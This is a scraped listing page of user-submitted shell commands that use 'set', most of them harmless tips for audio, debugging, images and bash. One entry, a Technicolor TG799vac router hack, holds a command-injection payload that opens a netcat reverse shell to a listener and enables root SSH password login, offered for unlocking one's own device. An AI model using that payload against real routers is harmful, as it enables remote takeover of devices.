Commands using set sorted by votes

Commands using set (54)

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Setting gdb in memory allocation debugging mode under MAC OS X

setting gdb with this option / breakpoint before running the process will cause it to break whenever an memory allocation operation is not kosher.
This is sample output - yours may be different.
0

set env DYLD_INSERT_LIBRARIES = /usr/lib/libgmalloc.dylib;b szone_error

frank514 · 2010-10-13 20:25:48 4
get function's source

useful if you want to get the source code of a in memory function Show Sample Output
This is sample output - yours may be different.
```
$ source_print source_print
source_print ()
{
    set | sed -n "/^$1/,/^}$/p"
}

$ source_print startx
startx ()
{
    test -x /usr/bin/startx || {
        echo "No startx installed" 1>&2;
        return 1
    };
    /usr/bin/startx ${1+"$@"} 2>&1 | tee $HOME/.xsession-errors
}
```
0

source_print(){ set | sed -n "/^$1/,/^}$/p"; };

glaudiston · 2010-11-24 15:55:34 5
print line and execute it in BASH
This is sample output - yours may be different.
0

set -x

depesz · 2010-12-15 09:17:04 4
Power cd - Add a couple of useful features to 'cd'

Move efficiently between directories. . This command adds a couple of extra features to cd, without affecting normal use. CDPATH use is also unaffected. It introduces and environment variable CDDIR which is used as an alternate home directory. . Note: I don't want to alter $HOME because then all my dot files will move. . Examples: . cd dir Change directory to "dir" (using CDPATH if necessary) . cd dir/file.txt Change directory to "dir" (containing folder of "file.txt") This allows you to cut'n'paste, or use . CDDIR is unset cd Change directory to $HOME . CDDIR=/home/flatcap/work cd Change directory to /home/flatcap/work . For convenience, put the command, and the following, in your .bashrc or .bash_profile export CDDIR="/home/flatcap/work" alias cdd="CDDIR=$(pwd)" Show Sample Output
This is sample output - yours may be different.
```
~$ export CDDIR=/home/flatcap/work
~$ cd
~/work$ unset CDDIR
~/work$ cd
~$
```
0

cd() { if [ -n "$1" ]; then [ -f "$1" ] && set -- "${1%/*}"; else [ -n "$CDDIR" ] && set -- "$CDDIR"; fi; command cd "$@"; }

flatcap · 2011-06-24 08:48:13 11
Display icons in Desktop Gnome 3 of Fedora
This is sample output - yours may be different.
0

gsettings set org.gnome.desktop.background show-desktop-icons true

hieuht · 2012-01-12 22:13:49 5
Matrix Style

A tweak using Patola's code as a base, this full-width green matrix display has all the frills (and all the printable characters). You don't need the surrounding parens if you don't care about losing globbing capabilities. Z-shell (/bin/zsh) needs neither the parens nor the `set -o noglob` Screen shot (animated): http://desmond.imageshack.us/Himg32/scaled.php?server=32&filename=matrixh.gif&res=landing If it's too slow, try lowering the `sleep 0.05` or even replacing it with `true` (which is faster than `sleep 0`). I squashed it as narrow as I could to conserve space, though somebody could probably squeeze a char or two out. Enjoy!
This is sample output - yours may be different.
0

(set -o noglob;while sleep 0.05;do for r in `grep -ao '[[:print:]]' /dev/urandom|head -$((COLUMNS/3))`;do [ $((RANDOM%6)) -le 1 ] && r=\ ;echo -ne "\e[$((RANDOM%7/-6+2));32m $r ";done;echo;done)

adamhotep · 2012-04-13 02:09:10 4
Mute Master sound channel, printing only the percent volume
This is sample output - yours may be different.
0

amixer -c 0 set Master toggle | sed -n "$ p" | awk '{print $4}' | sed "s/[^0-9]//g"

dtsip · 2012-06-26 21:16:42 8
Unmuting master channel, printing only percent value, while suppressing other outputs
This is sample output - yours may be different.
0

amixer -c 0 set Master toggle | tail -1 | awk '{print $4}' | sed "s/[^0-9]//g" ; amixer -c 0 set Speaker toggle >/dev/null; amixer -c 0 set Front toggle >/dev/null

dtsip · 2012-06-26 21:18:07 6
Tracing shell scripts with time stamps

Enable tracing and print a timestamp before the command to be invoked. Original author: Peter Eisentraut http://petereisentraut.blogspot.com/2012/07/tracing-shell-scripts-with-time-stamps.html Show Sample Output
This is sample output - yours may be different.
```
user@example:~$ echo 'hello' && echo 'world!'
+13:09:15 echo hello
hello
+13:09:15 echo 'world!'
world!
```
0

set -x && PS4='+\t '

em · 2012-07-19 11:13:47 7
Set audio card 0 master volumn to maximum

Replace "Master" with desired control name (e.g. Front, Earphone, PCM, etc.). Show Sample Output
This is sample output - yours may be different.
```
Simple mixer control 'Master',0
  Capabilities: pvolume pvolume-joined pswitch pswitch-joined penum
  Playback channels: Mono
  Limits: Playback 0 - 64
  Mono: Playback 64 [100%] [0.00dB] [on]
```
0

amixer -c 0 set Master 100%

thewarden · 2013-03-28 16:30:10 5
Convert red-cyan 3D anaglyph to side-by-side

Converts red-cyan 3D anaglyphs to side-by-side format viewable by crossing your eyes. Useful for people who don't have 3D glasses or prefer not to use one.
This is sample output - yours may be different.
0

convert infile.png $ +clone -channel GB -evaluate set 0 +channel $ +append -region 50%x100% -channel R -evaluate set 0 +channel outfile.png

bugmenot · 2013-04-30 20:46:02 10
sets volume via command line

adjusts the 'Master' channel's volume up by 1dB. Can use command 'amixer' to see other channels : Simple mixer control 'Master',0 or Simple mixer control 'Capture',0 Show Sample Output
This is sample output - yours may be different.
```
Simple mixer control 'Master',0
  Capabilities: pvolume pvolume-joined pswitch pswitch-joined
  Playback channels: Mono
  Limits: Playback 0 - 255
  Mono: Playback 55 [22%] [-50.00dB] [on]
```
0

amixer -c 0 set Master 1dB+

chrisp6825 · 2013-07-25 15:28:45 11
amixer toogle state (mute / unmute)
This is sample output - yours may be different.
0

(amixer get Master | grep off > /dev/null && amixer -q set Master unmute) || amixer -q set Master mute

MathPlayer · 2013-11-01 22:48:28 8
Poor man's

I sometimes have use an usb stick to distribute files to several standalone "internet" pc's. I don't trust these machines period. The sticks I have do not have a write protection. So as a added security measure I fill the unused space on the (small) usb stick with a file with randomly generated bits. Any malware that tries to write to this stick will find no space on it. Tested on slackware 14 Note: you may need root access to write to the device. This depends on your mount options. Show Sample Output
This is sample output - yours may be different.
```
set +e +u; dd if=/dev/urandom of="/media/usb1/$$";sync;sync
dd: writing to ?/mnt/hd/2967?: No space left on device
32617+0 records in
32616+0 records out
16699392 bytes (17 MB) copied, 1.436 s, 11.6 MB/s
```
0

set +e +u; dd if=/dev/urandom of="/media/usb1/$$";sync;sync

warkruid · 2013-12-22 14:35:53 22
Change IP on an ESX interface
This is sample output - yours may be different.
0

esxcli network ip interface ipv4 set -i vmk1 -I 10.27.51.143 -N 255.255.255.0 -t static

PROJAK_SX · 2014-03-01 20:05:08 9
make image semi-transparent
This is sample output - yours may be different.
0

convert input.png -alpha set -channel A -fx 0.5 output.png

loremad · 2014-09-04 09:30:02 8
Create a new gpt disk as all one partition, with a lvm using parted
This is sample output - yours may be different.
0

parted -s /dev/sdb mklabel gpt mkpart -a optimal primary 1 100% set 1 lvm on

guimaluf · 2014-11-03 10:47:29 11
Using cdpath for csh
This is sample output - yours may be different.
0

set cdpath = ( path1 path2 path3 )

takshiit · 2015-05-29 19:38:19 9
Bring down and delete a network bridge (eg: docker0)
This is sample output - yours may be different.
0

ip link set docker0 down && brctl delbr docker0

abn · 2015-12-11 09:05:29 9
displays an uncluttered list of the names of all variables and functions in the current environment, (without shell functions and definitions)

Normally executing 'set' returns a vast amount of information, including the source code of every function and variable within the environment - including those that are part of the shell. By using the -o posix argument, bash runs temporarily in POSIX mode for this command, which simplifies expressions and leaves out the shell's own functions and definitions - leaving a much smaller, more useful list. Show Sample Output
This is sample output - yours may be different.
```
BASH=/bin/bash
BASHOPTS=checkwinsize:cmdhist:complete_fullquote:expand_aliases:extglob:extquote:force_fignore:histappend:interactive_comments:login_shell:progcomp:promptvars:sourcepath
BASH_ALIASES=()
BASH_ARGC=()
BASH_ARGV=()
BASH_CMDS=()
BASH_COMPLETION_COMPAT_DIR=/etc/bash_completion.d
BASH_LINENO=()
BASH_REMATCH=()
BASH_SOURCE=()
BASH_VERSINFO=([0]="4" [1]="3" [2]="11" [3]="1" [4]="release" [5]="x86_64-pc-linux-gnu")
BASH_VERSION='4.3.11(1)-release'
B_CYAN='\033[1;96m'
titan=([0]="ram@192.168.5.20:44350:titan")
```
0

alias allvars=' ( set -o posix; set ) | less'

incidentnormal · 2016-03-04 14:04:45 12
Use vi style for edit command line.

after this command, only needs press ESC to edit command line.
This is sample output - yours may be different.
0

set -o vi

Wallebot · 2017-02-27 19:04:33 22
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuseman1 · 2018-11-12 02:02:43 397
Fix time-stamped filenames of JPEG images according to the EXIF date the photo was taken

For each *.jpg or *.JPG file in the current directory, extract the date the photo was taken from its EXIF metadata. Then replace the date stamp, which is assumed to exist in the filename, by the date the photo was taken. A trick from https://unix.stackexchange.com/a/9256 is used to split the date into its components. Show Sample Output
This is sample output - yours may be different.
```
'2020-04-12 DSC_0146.JPG' -> '2017-12-26 DSC_0146.JPG'
'2020-04-12 DSC_0147.JPG' -> '2017-12-28 DSC_0147.JPG'
```
0

(IFS=': '; for i in *.(#i)jpg; do set $(exiv2 -K 'Exif.Image.DateTime' -Pv $i 2> /dev/null); mv -v $i "$1-$2-$3${i#[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]}"; done)

langec · 2020-05-16 12:10:00 132
Search through your command line history

Once issuing the command, hit "esc" and then "k" (not together) to enter the search mode at the shell prompt (each time), and invoke the search with "/" as if you would in vi. Type a command and see the most recently used instance of that command. Use "n" and "N" to go forward and backwards through other instances of that command.
This is sample output - yours may be different.
-3

set -o vi

andykazmaier · 2009-12-22 20:40:10 7
Display a random man page
This is sample output - yours may be different.
-3

(cd /bin; set -- *; x=$((1+($RANDOM % $#))); man ${!x})

quintic · 2010-08-20 17:19:56 4
< 1 2 3 >

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All IP connected to my host

find all computer connected to my host through TCP connection.

alias to close terminal with :q

Put this in your ~/.bashrc file (or the equivalent) If you use vim a lot, this alias will be immediately obvious. Your brain will thank you.

Find usb device in realtime

Using this command you can track a moment when usb device was attached.

Iterate through current directory + all subs for C++ header files and rank by # of comments

This shows you which files are most in need of commenting (one line of output per file)

Schedule a script or command in x num hours, silently run in the background even if logged out

This is helpful for shell scripts, I use it in my custom php install script to schedule to delete the build files in 3 hours, as the php install script is completely automated and is made to run slow. Does require at, which some environments without crontab still do have. You can add as many commands to the at you want. Here's how I delete them in case the script gets killed. (trapped) atq |awk '{print $1}'|xargs -iJ atrm J &>/dev/null

Display packages and versions on Debian/Ubuntu distrib

Need admin right to run dpkg-query

txt2html

Convert Text to HTML

Email someone if a web page has been updated.

A cronjob command line to email someone when a webpages homepage is updated.

find geographical location of an ip address

I save this to bin/iptrace and run "iptrace ipaddress" to get the Country, City and State of an ip address using the http://ipadress.com service. I add the following to my script to get a tinyurl of the map as well: URL=`lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep details|awk '{print $2}'` lynx -dump http://tinyurl.com/create.php?url=$URL|grep tinyurl|grep "19. http"|awk '{print $2}'

Set CDPATH to ease navigation

CDPATH tells the cd command to look in this colon-separated list of directories for your destination. My preferred order are 1) the current directory, specified by the empty string between the = and the first colon, 2) the parent directory (so that I can cd lib instead of cd ../lib), 3) my home directory, and 4) my ~/projects directory.

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Commands using set (54)

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